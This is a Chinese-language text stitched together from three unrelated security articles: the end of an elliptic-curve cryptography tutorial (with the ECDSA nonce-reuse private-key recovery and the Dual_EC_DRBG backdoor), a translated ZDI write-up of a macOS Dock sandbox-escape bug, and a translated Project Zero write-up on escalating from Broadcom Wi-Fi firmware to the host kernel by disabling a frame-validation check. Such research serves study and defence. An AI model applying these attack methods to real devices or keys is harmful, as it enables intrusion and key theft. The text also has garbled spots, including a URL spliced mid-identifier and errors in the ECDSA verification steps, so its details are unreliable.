因此，计算P+Q也就可以在代数上转化为对 _(Rx, -Ry)_ 的计算。
有了加法，自然就可以推出乘法：
n * P = P + P + P + ... + P
其中n是自然数。写成以上形式需要计算n次加法，算法复杂度为O(2^k)，k为n的位宽。实际上可以转换为倍乘相加(double and add)的方式，例如：
151 * P = 2^4 * P + 2^2 * P + 2^1 * P + 2^0 * P
这样可以将算法复杂度减少到O(logn)，或者说O(k)。
有了乘法，自然有除法。给定n和P，我们至少有一种在多项式时间内计算出 _Q=nP_ 的算法。那么反过来，给定Q和P，是否能计算出n呢？这个问题就是我们常说的
**对数问题(logarithm problem)**
。其实这里应该说是除数问题，但大多密码学算法是基于指数计算的，因此求逆称为对数。对数问题求解的时间远大于乘法的计算时间，但连续对数的解存在一些特点，因此并不算是个合格的难题，这里只是引出这个概念，以及我们下面将要看到的真正主角——离散对数问题。
## 有限域
接下来我们将椭圆函数的范围从实数集转到有限集，或者称为有限域(finite field)。
_域(field)*在抽象代数是个专有名词，表示一种支持可进行加减乘除运算的代数结构，并且运算结果不会超出域的集合，其概念是*数域_ 和四则运算的拓展。
有理数集合、实数集合都满足域的概念，如果一个域中的元素个数有限，则成为有限域。有限域一个典型是伽罗瓦域(Galois
Field)，记作GF(p^n)，其中p是素数，n是正整数。p^n也称为有限域的 _阶(order)_ ，即有限域中的元素个数。 _n=1_
时称为素数域GF(p)。
GF(p)元素集合为所有从 _0_ 到 _p-1_
的整数，其加法和乘法可以转换为[模运算](https://en.wikipedia.org/wiki/Modular_arithmetic)，也称为时钟算术，例如对GF(23)：
* 加法：(18+9) mod 23 = 4
* 减法：(7-14) mod 23 = 16
* 乘法：4 * 7 mod 23 = 5
* 加法逆元：-5 mod 32 = 18
* (5 + (-5)) mod 23 = (5 + 18) mod 23 = 0
* 乘法逆元：9^-1 mod 23 = 18
* 9 * 9^-1 mod 23 = (9 * 18) mod 23 = 1
使用拓展欧几里得算法，我们可以在O(logp)的复杂度内计算出某个数的乘法逆元，这也是除法计算的基础。
在将椭圆曲线的范围限制到有限域中后，椭圆曲线的算式定义也可以做出如下修改：
其中 _0_ 依旧是无穷远点，而a、b是有限域集合中的两个整数。对于任意x，最多存在两个点，即两个y的解。
举个例子，对于椭圆曲线 _y^2 ≡ x^3 - 7x + 10 (mod p)_ ，当p的值分别是19、97、127、487时，其在坐标轴上的图像如下：
注意这些点的集合在直角坐标中是关于直线 _y=p/2_
对称的。虽然之前连续的椭圆曲线现在变成了离散的点，但可以证明这些点的集合同样是一个阿贝尔群，因此也满足群的定义和推论。
那么，我们要如何定义和计算这些离散点的 **加法**
呢？与实数集中我们定义几何学上同一直线上的三个点P、Q、R之和为0，有限域中也类似，不过这里的直线并不是实数集中的直线，而是满足 _ax + by + c
≡ 0 (mod p)_ 的点的集合。
举例来说，椭圆曲线 _y^2 ≡ x^3 - x + 3 (mod 127)_ ，且P=(16, 20)，Q=(41,120)。注意连接它们的“直线” _y
≡ 4x + 83 (mod 127)_ 实际上在空间中是重复的：
计算对应几何表示的代数加法和前面类似，不过后面都需要加上(mod p)，这是可以推导出来的。
从加法到乘法同样可以使用倍乘加的算法加速运算，同时对于有限域的椭圆曲线，乘法还有个有趣的特点。例如对于椭圆曲线 _y^2 ≡ x^3 + 2x + 3
(mod 97)_ 和点 P=(3,6)，在计算乘积时发现：
* 0P = 0
* 1P = (3,6)
* 2P = (80,10)
* 3P = (80,87)
* 4P = (3, 91)
* 5P = 0
* 6P = (3, 6)
* 7P = (80, 10)
* …
乘积每5次一个循环，也就是说实际上该点的乘积只有5个可能的值，这个规律可以写成：
k * P = (k mod 5) * P
同时，这5个点本身也是封闭的，即这些点相加也是其中某个点：
n * P + m * P = (m + n) * P
因此， _P的乘积所组成的集合也是一个群_ ，称为 **循环子群** ，P称为该循环子群的生成器(generator)或者 **基点** (base
point)。循环子群是椭圆曲线加密的基础，在后面的章节会进行介绍。
循环子群的元素个数称为该子群的 _阶(order)_ ，比如上述子群的阶为5。通过给定椭圆曲线和基点P我们可以计算出子群的阶。
在椭圆曲线加密中一个常见需求就是找到一个阶比较高的子群。假设椭圆曲线的阶为N，子群的阶为n，想要寻找的基点为P。根据拉格朗日定理 _h = N / n_
总是一个整数，h称为子群的 **余因子** (cofactor)。考虑到椭圆曲线中所有点的和 _NP = 0_ ，我们可以写成：
n(hP) = 0
假设n是一个素数，该等式实际上告诉我们：对于一个随机的点P，以点 _G = hP_
为基点的子群阶的阶为n(当G不为0时，G为0则子群阶为1)。当然该算法也要求n是一个素数，否则G的阶只是n的其中一个除数而已。
介绍完了乘法，最后就让我们来看除法：给定点P和Q，并且 _Q = kP_
，如何求k的值？这个问题就是椭圆曲线的离散对数问题，这个问题是一个公认的难题，目前没有一个多项式时间的求解算法可以计算出来。与大数分解问题类似，这个难题也只是实践上的，并没有严谨的数学证明不可解。
实际的加密系统中，如DSA签名算法、DH秘钥交换算法和ElGamal算法等，使用的是指数形式而不是乘法形式，即已知a和b，求解k以满足 _b = a^k
mod p_ 。椭圆曲线加密相比于RSA加密而言的优点之一是我们只需要更少位数的k就可以获得和RSA相同甚至更高的安全性。
# ECC
ECC(Elliptic Curve
Cryptography)即椭圆曲线加密算法。在上文中我们说了，在有限域中的椭圆曲线乘法(指数)是相对容易计算的，但是除法(对数)则很难计算，这也是椭圆曲线得以实现非对称加密的难题假设和理论基础。
椭圆曲线加密算法主要基于椭圆曲线在有限域中的循环子群，因此定义下面一些参数(domain parameters)：
* _p_ ：定义了有限域大小的素数
* _a、b_ ：定义椭圆曲线的特征参数
* _G_ ：生成循环子群的基点
* _n_ ：循环子群的阶(order)
* _h_ ：循环子群的余因子(cofactor)
其中，组成ECC椭圆曲线加密算法的秘钥定义如下：
* 私钥：一个在 _{1, …, n - 1}_ 范围内的随机数 _d_
* 公钥：一个椭圆曲线上的点 _H = dG_
就是这么的朴实无华。已知私钥d和G我们可以很容易通过乘法计算出公钥H，但是反过来从公钥计算私钥却要面临离散对数问题。虽然我们可以直接使用这个特性对信息(转换成数字)进行非对称加密，但实践上更多的是使用集成加密方案(IES,
Integrated Encryption
Scheme)，比如[ECIES](https://cryptobook.nakov.com/asymmetric-key-ciphers/ecies-public-key-encryption)混合加密方法和[EEECC](https://cse.unl.edu/~ssamal/crypto/EEECC.pdf) (EC-based ElGamal)方法。
在openssl中使用也是通过ECC私钥生成对称加密的秘钥：
openssl ecparam -genkey -param_enc explicit -out priv.pem -name secp256k1 openssl pkeyutl -derive -inkey priv.pem -peerkey RecipientsPublicKey.pem -out SharedSecret.bin
详见[Command Line Elliptic Curve
Operations](https://wiki.openssl.org/index.php/Command_Line_Elliptic_Curve_Operations)。
## ECDH
DH即 _Diffie–Hellman_ ，是两个提出者的名字， _Whitfield Diffie_ 和 _Martin Hellman_
。ECDH则为DH的其中一个实现，而DH是一个秘钥协商协议。秘钥协商问题可以简化为：如何在通信链路不安全的安全下安全交换秘钥。DH的实现有很多，但本质上也是基于某种不可逆的拆分操作，WiKi中有个比较直观的例子介绍了交换秘钥的过程：
其中所基于的就是颜色混合容易但是分离难的假设，在这个假设前提下，双方可以获得共同的秘钥。注意双方的secret
color是没有暴露在通信链路中的，因此即便被监听或者劫持也无法成功伪造对端进行中间人(MITM)攻击。
回到ECDH的实现上，这里的难题假设自然就是椭圆曲线的离散对数问题。假设通信双方还是Alice和Bob，则ECDH的工作流程为：
1. Alice和Bob使用同样的椭圆曲线，并分别随机生成它们自己的私钥和公钥，其中Alice的私钥为da，公钥为 **Ha = da * G** ，Bob的私钥和公钥分别为db和Hb；
2. Alice和Bob在不安全的信道中交换它们的公钥Ha和Hb；
3. Alice和Bob分别计算自己私钥和收到的对方公钥的乘积，有：
Sa = da * Hb = da * (db * G) = db * (da * G) = db * Ha = Sb
双方计算出了同样的乘积，即为安全的共享秘钥S，这个秘钥就可以用来作为对称加密的秘钥进行后续通信从而保证安全性。中间人通过偷听只能获得双方的公钥，如果它想要在没有私钥的情况下计算出该乘积，就相当于需要解决这么一个问题：给定椭圆曲线上三个点
_P_ 、 _aP_ 和 _bP_ ，如何计算 _abP_ ？这个问题在DH中也称为 _Diffie-Hellman problem_
，即构成安全秘钥交换基石的难题。
## ECDSA
DSA([Digital Signature
Algorithm](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm))即数字签名算法。我们之前介绍RSA的时候说过RSA的签名方法，即对数据进行hash然后将其使用私钥加密，对端公钥解密并成功校验hash可认为数据没有被篡改。使用椭圆曲线实现的数字签名算法则称为ECDSA。
与RSA类似，ECDSA主要针对所校验数据的hash而不是数据本身。不同的是hash结果需要被截断，从而保证hash的位数与 _n_
(子群的阶)的位数相同，截断后的hash同样是一个整数，记为 _z_ 。Alice使用私钥 _da_ 对数据签名的流程如下：
1. 从 _{1,…,n-1}_ 中随机选取一个整数 _k_
2. 计算点 _P = kG_
3. 计算 _r = Px mod n_ (Px为点P的x坐标)
4. 如果r=0，从新选一个k
5. 计算 **s = k^-1 (z + r*da) mod n**
6. 如果s=0，从新选一个k
运算的结果 _(r, s)_ 则为签名。从计算过程中我们可以看到，s是与哈希 _z_ 绑定的，而 _k_ 可以理解为一个临时私钥，用来生成临时公钥 _r_
。
Bob收到签名 _(r, s)_ 后，自己也计算一份数据的哈希 _z_ ， _Ha_ 是Alice的公钥，校验签名的过程如下：
1. 计算整数 **u1 = s^-1 * z mod n**
2. 计算整数 **u1 = s^-1 * r mod n**
3. 计算点 **P = u1 * G + u2 * Ha**
4. 当 **r = Px mod n** 时，表示签名有效，数据未被篡改。Px为点P的x坐标
说实话我也不是很清楚为什么要搞这么绕，但ECDSA就是这么实现的。
# 安全性
和RSA一样，椭圆曲线加密的安全性根本在于其难题假设的“难度”，一旦这个前提被打破，椭圆曲线的安全性也会在根本上被动摇。打破难题假定的方法有很多，且不去谈量子计算这种未来的可能性，即便聚焦于当下也依然存在。
## 椭圆曲线的选择
我们说椭圆曲线在有限域上的的离散对数问题是个难题，这并不完全正确。前面看到了根据a、b不同，椭圆曲线可能有不同的形状，事实上存在一些类型椭圆曲线，它们的安全性是相当脆弱的。对于这些椭圆曲线，可以使用特殊的算法来高效的求解离散对数问题。
比如，对于所有 _p=hn_
的曲线(有限域的阶等于椭圆曲线的阶)，就受到一种[特殊攻击](http://interact.sagemath.org/edu/2010/414/projects/novotney.pdf)的影响，攻击者可以用一个普通电脑在多项式时间内求解出离散对数问题。
如果我给你一组椭圆曲线参数(domain parameters)，并告诉你说”OMG!
用它”，这时有一种可能性，即我可能已经秘密地找到了一种方法可以快速地对这条曲线求解离散对数。为了解决这个问题，有时候我们额外引入一个参数，即随机数种子S，并用其生成椭圆曲线特征参数a、b或基点G：
S = random() H = hash(S) a = f(H) b = g(H) ...
使用随机种子生成的椭圆曲线可被认为是验证随机的(verified
random)，其中使用hash来生成的参数在密码学中也称为“我的袖子里可没藏东西”数(Nothing-up-my-sleeve number)。
一个生成和校验随机椭圆曲线的标准算法是`ANSI
X9.62`，感兴趣的可以参考[SECG标准](http://www.secg.org/sec1-v2.pdf)中 _Verifiably Random
Curves and Base Point Generators_ 一节。
实践中不会每次生成新的椭圆曲线进行加密，因为我们实际上需要的是一个足够大的素数p以及子群阶n，并确保不含人为的预置。所以一般会根据标准如NIST、SECG中建议的方式去选择预置的曲线和随机数种子S，不同的椭圆曲线有不同的安全性、运算速度和不同的秘钥长度。
例如， **比特币** 使用的椭圆曲线 **secp256k1** 的参数如下：
curve = EllipticCurve( 'secp256k1', # Field characteristic. p=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f, # Curve coefficients. a=0, b=7, # Base point. g=(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8), # Subgroup order. n=0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141, # Subgroup cofactor. h=1, )
ECC秘钥的长度取决于所使用的椭圆曲线，在大多数系统中，如OpenSSL、OpenSSH和比特币中默认的ECC秘钥长度都是256位。在OpenSSL中预置的曲线可见：
* https://github.com/openssl/openssl/blob/master/crypto/ec/ec_curve.c
## ECDSA中的k
在生成ECDSA签名时，我们说到要从 _{1, …, n}_ 中随机选择一个整数 _k_
。这个k需要秘密保存，一旦泄露就可能让攻击者找到签名方的私钥。秘密保存不只是不将k泄露给别人，也意味着生成k的随机数生成器不可预测，更进一步地，要求签名方不能使用同样的k来进行所有签名。
只不过使用了相同的k签名，会有什么问题呢？在这个场景中，我们假设攻击者有两份信息的签名 _(r1, s1)_ 和 _(r2,s2)_
，并且计算这两份信息的原始哈希 _z1_ 和 _z2_ ，加上其他已知的椭圆曲线参数(公钥)，攻击方式如下：
1. 注意到 _r1 = r2_ ，因为 _r = Px mod n_ 且 _P=kG_ ，对两个信息是一样的
2. _(s1 - s2) mod n = k^-1(z1 - z2) mod n_
3. 两边同时乘以 _k_ ，则 _k(s1 - s2) mod n = (z1 - z2) mod n_
4. 两遍同时除 _(s1 - s2)_ ，则 _k = (z1-z2)(s1-s2)^-1 mod n_
最后一个算式中我们可以直接通过两个文件的哈希和签名计算出 _k_ ，得到 _k_ 之后就可以计算出私钥d：
s = k^-1(z + r * d) mod n d = r^-1(s*k - z) mod n
一个现实中的经典案例就是索尼。出于保护目的，PS3只能运行索尼自家ECDSA签名过的游戏，没有索尼签名的游戏或应用无法被PS3的系统加载。但问题是当年索尼的实现是用一个
_同样的k_ 来对所有游戏进行签名的，最终被黑客发现导致了PS3的沦陷。直到现在我们都经常能看到索尼被人用下面这张XKCD的图片进行嘲讽：
## 离散对数
除了文章中提到的安全陷阱或隐患，实际上也有其他问题会导致椭圆曲线离散对数的难题假设在一定程度上失效(或者变弱)。比如，有一种称为[`baby-step,gaint-step`](https://en.wikipedia.org/wiki/Baby-step_giant-step)的算法可以将求解离散对数的算法和空间复杂度从暴力破解的 _O(p)*降低为*O(√n)_ ，当所选的椭圆曲线子群阶 _n_
相对较小时，这种方式就能将离散对数的计算时间减少到可接受的水平，从而威胁加密的安全性。
同样类似的算法还有[`Pollard's
rho`](https://en.wikipedia.org/wiki/Pollard's_rho_algorithm_for_logarithms)算法，其进一步将求解离散对数的空间复杂度降到
_O(1)_ 。对于一些破解椭圆曲线的比赛，如 _Certicom ecc challenge_
，通常就是使用该算法的变种求解的。目前的[最新记录](https://en.wikipedia.org/wiki/Discrete_logarithm_records)是2016年破解的117.35位通用椭圆曲线离散对数求解，使用FPGA实现并行
_Pollard’s rho_ 算法，用到的算力为64至576个FPGA并行运行6个月时间。
除此之外，其他的攻击方式有：
* Weil pairing / Tate pairing
* Semaev-Smart-Satoh-Araki attack
* Gaudry、Hess、Smart等提出的针对二进制域的度为小约数时的一种求解方法
* …
# NSA后门
在前一段时间介绍比特币的文章中，说到中本聪的一个特别之处就是他“避开了NSA的椭圆曲线后门”，当时听起来挺神奇的，但对于密码学家而言其实只是个正常的选择。
前面说椭圆曲线标准时提到了NIST，其全称为 _National Institute of Standards and Technology_
，即美国的国家标准技术研究所，负责制定一系列产业统一标准。NIST在2006年颁布了一个标准[NIST SP
800-90A](https://en.wikipedia.org/wiki/NIST_SP_800-90A) (SP表示特别发布)，其标题为
**Recommendation for Random Number Generation Using Deterministic Random Bit
Generators** ，这其实只是一个伪随机数生成器的定义标准，其中涉及了4个伪随机数生成器：
1. Hash_DRBG：基于hash函数
2. HMAC_DRBG：基于HMAC
3. CTR_DRBG：基于块加密
4. **Dual_EC_DRBG** ：基于椭圆曲线加密
四个随机数生成器都是基于现有的密码学原语(cryptographic
primitives)构建的。但是第4个比较特殊，用现在的俚语来说就是“画风和别人不太一样”，而且运行速度也较其他三个而言要慢几个数量级，之所以存在于NIST标准中的唯一原因是因为这是NSA建议的。
因此，早在该标准发表后不久，就有人提出了质疑。[2006](http://eprint.iacr.org/2006/190)到[2007](http://eprint.iacr.org/2007/048)年之间最早提出的主要观点是认为
_Dual_EC_DRBG_ 这个随机数生成器的输出带有一定的偏好(bias)。
随后，在[2007年8月的CRYPTO大会](http://rump2007.cr.yp.to/15-shumow.pdf)上，研究人员进一步提出了这个随机数生成器中的不合理之处。简单来说，就是
_Dual_EC_DRBG_ 所使用的椭圆曲线是由一系列 **常数**
定义的，这些常数定义在NIST标准的附录中，但完全不知道是从何而来。研究人员提出这些常数和另外一个秘密的常数存在某种联系，如果知道了这个秘密常数，那么就可以通过获取
_Dual_EC_DRBG_ 的32字节输出后预测该随机数生成器所生成的随机数。
然而研究人员并不知道这个秘密常数是什么， _也许_
给出这组椭圆曲线参数的人会知道，也许没人知道。不过这种可能性的存在就足够让人警惕了。值得一提的是NIST在标准的附录中还指出可以通过其他随机数生成器来重新产生常数来替换默认的椭圆曲线参数，但这一步是可选的，实际上大部分Dual_EC_DRBG的实现都不会去额外做这个工作。
在比特币诞生之初，作为密码学专家的中本聪，自然也不会放过这个问题，所以避开这个后门也就理所当然了。
虽然Dual_EC_DRBG饱受质疑，但没有人能拿出实质性的证据，所以很多公司如[RSA
Security](https://en.wikipedia.org/wiki/RSA_Security)仍然使用Dual_EC_DRBG来实现一些加密项目，并表示
_问题不大_ 。直到 _2013年_ ，Edward
Snowden跳了出来。在他披露的文件中显示，NSA曾给过1000万美金给RSA，条件是令其将NSA的随机数生成器设为默认。……所以一切就说得通了。
值得一提的是，除了在标准中留后门，NSA还灵活运用了其他方法，比如网络漏洞利用、网络劫持、和工业界进行py、和其他Agent(如英国的GCHQ)进行py等等……这一系列操作构成了网络行动——`Operation
Bullrun`，感兴趣的可以去进一步了解。
_2015年_ ，NIST发布新版本的标准，默默地去掉了Dual_EC_DRBG。
# 参考文章
* [Practical Cryptography for Developers](https://cryptobook.nakov.com/)
* [Elliptic Curve Cryptography: a gentle introduction](https://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-introduction/)
* [一个把玩椭圆曲线的在线网站](https://cdn.rawgit.com/andreacorbellini/ecc/920b29a/interactive/reals-add.html)
* [ECDSA代码实现示例](https://github.com/andreacorbellini/ecc/blob/master/scripts/ecdsa.py)
* [Did NSA Put a Secret Backdoor in New Encryption Standard?](https://www.wired.com/2007/11/securitymatters-1115/)
* * * | 社区文章 |
原文链接：<https://www.zerodayinitiative.com/blog/2018/12/20/really-check-errors-pointing-to-the-object-of-your-desire>
这是ZDI评选的2018年五大漏洞的第四个案例，这些评选出来的bug具有一些独特的元素，使得其与今年发布的大约1400条其他报告不同。今天我们来看另一个Pwn2Own上的赢家，这次攻击的对象的是macOS。
在[2018年Pwn2Own](https://www.zerodayinitiative.com/blog/2018/3/15/pwn2own-2018-day-two-results-and-master-of-pwn)大赛上，MWR实验室成功地攻破了苹果Safari浏览器。漏洞利用首先利用了SVG对象处理中的堆溢出漏洞，然后利用Dock中的未初始化指针达到沙箱逃逸的目的。由于未初始化数据是我最喜欢的一种漏洞，所以由我来向大家介绍这个在沙箱逃逸过程中用到的漏洞。该漏洞的编号是[ZDI-18-781/CVE-2018-4196](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4196)。
在mac操作系统中，可以通过名为“com.apple.dock.server”的Mach服务来访问Dock，这些函数大量使用HIServices框架提供的序列化功能。该漏洞是在DSSetDesktopForDisplayAndSpace函数中，当以96548为ID发送一个Mach消息时触发的。
我们先来看看DSSetDesktopForDisplayAndSpace函数是什么样子的:
这只是函数的开始部分，但是我们可以看到在调用 _UnserializeCFType
之前，堆栈上已经初始化了一些变量。这个函数存在于HIServices中，我们也来看看它:
这看起来并不是很有趣，但我们还是来深入探讨一下，这是AXUnserializeCFType函数：
该函数首先检查了第四个参数是否大于等于8，如果是，它将初始化第五个参数，使其指向NULL，然后尝试基于数据的类型进行反序列化操作。如果反序列化过程没有出现错误，则指向新创建对象的指针将存储在第五个参数中。
你发现什么了吗？我们换种方式来看看DSSetDesktopForDisplayAndSpace函数的开头，可能看起来能更加明显：
这和我们刚开始看的汇编代码是一样的，包括所有变量的初始化。现在你能看到问题了吗？作为UnserializeCFType函数参数的栈上变量从未被初始化，只有当UnserializeCFType的第二个参数大于等于8时，才初始化该指针将其转换为AXUnserializeCFType类型。紧接着，对这个栈变量调用objc_autorelease函数，这个函数和使用autorelease选择器有相同的效果。因此，如果我们可以控制栈上的变量，我们就可以控制执行代码。
MWR团队通过使用了一个包含push
rbx指令的函数利用了这一点，该指令可以和未初始化的栈变量的偏移量对齐，当该指令执行时，rbx寄存器会指向Mach消息中的40个字节，这非常适合我们用来控制obj<https://www.zerodayinitiative.com/advisories/ZDI-17-237/c_autorelease最终将操作的指针对象。>
总共有8个函数包括了易受攻击的代码逻辑，它们也在未初始化第4个参数或未检查返回值的情况下调用了_UnserializeCFType函数。不过也有几个函数中使用了正确的代码，在正确的案例中，它们检查了_UnserializeCFType函数的返回值以确保函数执行成功，并且作为参数传递的堆栈变量被初始化为NULL。
在2016年，lokihardt公布了[ZDI-16-282](https://www.zerodayinitiative.com/advisories/ZDI-16-282/)作为他的攻击微软Edge浏览器利用链的一部分，其中利用了在处理‘Array.concat’函数时的一个未初始化堆栈变量。2017年，360安全团队公布了[ZDI-17-237](https://www.zerodayinitiative.com/advisories/ZDI-17-237/)作为VMware
Workstation中从客户机逃逸到宿主机操作系统漏洞的一部分。有关该漏洞的详细信息，可以查看Abdul-Aziz
Hariri的[博客](https://www.zerodayinitiative.com/blog/2018/3/1/vmware-exploitation-through-uninitialized-buffers)。
希望你对这个在Pwn2Own中常出现的漏洞类型感兴趣，由未初始化数据造成的漏洞是我最喜欢的漏洞种类之一，看到其他人利用它们来实现代码执行是十分有趣的。
你可以关注我的Twitter[@WanderingGlitch](https://twitter.com/WanderingGlitch),或者关注我们的[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。请继续关注将于明天发布的最后一篇年度五大漏洞相关博客。 | 社区文章 |
# 【技术分享】漏洞挖掘之利用Broadcom的Wi-Fi栈（二）
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero.blogspot.tw
原文地址：<https://googleprojectzero.blogspot.tw/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html>
译文仅供参考，具体内容表达以及含义原文为准。
[](http://p6.qhimg.com/t01694de71f9a1bf4d2.jpg)
翻译：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】漏洞挖掘之利用Broadcom的Wi-Fi栈（一）**](http://bobao.360.cn/learning/detail/3742.html)
本文将继续研究如何仅通过Wi-Fi通信就实现远程内核代码执行。我们在[上文中](http://bobao.360.cn/learning/detail/3742.html)开发了一个远程代码执行利用方法，使我们能控制Broadcom的Wi-Fi SoC（系统级芯片）。现在我们的任务是，利用该优势将我们的权限进一步提升到内核。
图1
在本文中，我们将探讨攻击主机操作系统的两种不同的途径。在第1部分中，我们将发现并利用Wi-Fi固件和主机之间的通信协议中的漏洞，从而在内核中执行代码。期间，我们也将研究一个一直持续到最近的奇特漏洞，攻击者可利用该漏洞直接攻击内部通信协议，而无需先利用Wi-Fi SoC！在第2部分，我们将探讨使当前配置的Wi-Fi SoC无需漏洞即可完全控制主机的硬件设计选择。
在上一篇文章中讨论的漏洞已披露给Broadcom，并已得到修复，但硬件组件的利用依然如故，现在并无相应的缓解措施。我们希望通过发布这项研究来推动移动SoC制造商和驱动程序供应商打造更安全的设计，从而实现Wi-Fi SoC和应用处理器之间更高程度的分离。
**第1部分——“较难”方式**
**通信通道**
正如我们在[ **上一篇博文**](http://bobao.360.cn/learning/detail/3742.html)
中所确立的，Broadcom生产的Wi-Fi固件是一个FullMAC实现。因此其负责处理实施802.11标准（包括大多数[
**MLME**](https://wireless.wiki.kernel.org/en/developers/documentation/glossary#mlme)
层）所需的大部分复杂性。
然而，虽然许多操作是封装在Wi-Fi芯片的固件中，但在主机操作系统中需要对Wi-Fi状态机进行一定程度的控制。某些事件不能单独由Wi-Fi
SoC处理，必须传达给主机的操作系统。例如，必须向主机通知Wi-Fi扫描的结果，以便能将该信息呈现给用户。
为了方便主机和Wi-Fi SoC希望彼此通信的情况，需要一个特殊的通信通道。
但是别忘了，Broadcom生产可通过多种不同的接口（包括USB、SDIO甚或PCIe）连接到主机的各种Wi-Fi
SoC。这意味着依靠底层通信接口可能需要为每个受支持的通道重新实现共享通信协议——这是一个非常繁琐的任务。
图2
或许有一个更简单的方法？我们一直可以确定的一件事是，无论使用哪个通信通道，芯片都必须能够将接收到的帧传送回主机。实际上，或许正是出于该原因，Broadcom选择搭载在该通道之上，以便在SoC和主机之间建立通信通道。
当固件希望通知主机事件时，其只要编码一个“特殊”帧并将其发送到主机即可。这些帧由“唯一的”[EtherType](https://en.wikipedia.org/wiki/EtherType)值[0x886C](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/include/proto/ethernet.h#84)标记。其不包含实际接收到的数据，而是封装了有关必须由主机驱动程序处理的固件事件的信息。
图3
**确保通道安全性**
现在，让我们切换到主机侧。在主机上，可在逻辑上将驱动程序分为若干层。较低层处理通信接口本身（比如SDIO、PCIe，等等）和所绑定的任何传输协议。较高层然后处理帧的接收及其后续处理（如果需要）。
图4
首先，上层对接收到的帧执行一些初始处理，例如去除可能已经添加到其上的封装数据（比如由PHY模块添加的传输功率指示符）。然后必须作出一个重要的区分——这是一个只需转发到相关网络接口的常规帧，还是实际上是一个主机必须处理的编码事件？
正如我们刚刚看到的，这一区分很容易作出。只需查看ethertype，并检查其是否具有“特殊”值0x886C即可。如果有，则处理封装事件并丢弃帧。
或许是？事实上，不能保证该ethertype不在其他网络和设备中使用。HPNA芯片中使用的LARQ协议碰巧也使用相同的ethertype。
这将我们的第一个问题摆在了面前——Wi-Fi SoC和主机驱动程序如何对外部接收到的具有0x886C
ethertype的帧（应该转发到网络接口）和内部生成的事件帧（不应该从外部来源收到）进行区分？
这是一个关键问题，内部事件通道极其强大，提供了一个巨大的、基本不受审查的攻击面。如果攻击者能通过无线方式注入随后可被驱动程序作为事件帧处理的帧，那么其很可能在主机的操作系统中实现代码执行。
直到本研究发表的几个月前（2016年中），固件并不过滤这些帧。作为数据RX路径的一部分接收的任何帧，无论其是何种ethertype，均只是被盲目转发到主机。因此，攻击者能够远程发送包含特殊0x886C
ethertype的帧——随后被驱动程序当做固件本身创建的事件帧处理。
那么，这个问题是如何解决的？我们已经明确，仅仅过滤ethertype本身是不够的。观察打补丁前和打补丁后的固件版本可以得到答案：Broadcom采用的是针对Wi-Fi
SoC的固件和主机驱动程序的[组合补丁](https://android.googlesource.com/kernel/msm.git/+/android-6.0.1_r0.92%5E!/)。
该补丁给固件的RX路径和驱动程序添加了验证方法([is_wlc_event_frame](https://android.googlesource.com/kernel/msm.git/+/android-6.0.1_r0.92/drivers/net/wireless/bcmdhd/bcmevent.c#209))。在芯片侧，在将接收到的帧发送到主机之前立即调用该验证方法。如果验证方法将该帧视为事件帧，则其被丢弃。否则，该帧被转发到驱动程序。然后，驱动程序对接收到的具有0x886C
ethertype的帧调用完全相同的验证方法，并只在其通过相同的验证方法后才对其进行处理。以下是此流程的简短示意图：
图5
只要驱动程序和固件中的验证方法保持一致，外部接收的帧就不能被驱动程序作为事件处理。到目前为止这没有问题。
然而，由于我们已经在Wi-Fi
SoC上实现了代码执行，所以我们可以简单地“还原”补丁。我们要做的仅是撤掉”固件中的验证方法，从而使任何接收到的帧再次被盲目转发给主机。这反过来使我们能将任意消息注入到主机和Wi-Fi芯片之间的通信协议中。此外，由于验证方法是存储在RAM中，所有RAM均被标记为RWX，所以这与将“MOV R0, #0; BX
LR”写入函数的序言中一样简单。
图6
**攻击面**
如前所述，内部通信通道暴露的攻击面是巨大的。跟踪来自处理事件帧（[dhd_wl_host_event](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/dhd_linux.c#7454)）的入口点的控制流，我们可以看到若干事件受到“特殊处理”，并被独立处理（参见[wl_host_event](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/dhd_common.c#1500)和[wl_show_host_event](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/dhd_common.c#1162)）。初始处理完成后，帧随即被插入到队列中。事件然后被唯一目的是从队列中读取事件并将其分派到相应的处理程序函数的[内核线程](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/wl_cfg80211.c#9961)移出队列。这种相关性是通过使用事件的内部“event-type”字段作为名为evt_handler的[处理函数数组](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/wl_cfg80211.c#9772)的索引来完成的。
图7
虽然支持的事件代码多达144种，但是Android的主机驱动程序bcmdhd只支持其中很小的一部分。尽管如此，驱动程序中支持大约35个事件，每个事件都包含自己精心设计的处理程序。
现在我们已确信攻击面足够大，所以我们可以开始寻找bug了！不巧的是，Wi-Fi芯片似乎被认为是“受信任的”，因此，主机驱动程序中的一些验证是不够的。事实上，通过审查上面列出的相关处理函数和辅助协议处理程序，我们发现了[大量的漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1064)。
**漏洞**
仔细研究我们发现的漏洞，我们可以看到这些漏洞彼此间均略有不同。一些允许较强的原语，一些允许较弱的原语。但是，最重要的是，其中很多有各种先决条件，满足后方可成功触发，一些仅限于某些物理接口，其他的仅在一定的驱动程序配置下有效。不过，有[一个漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1061)似乎在所有版本的bcmdhd和所有的配置中存在——如果能成功利用该漏洞，那就搞定了。
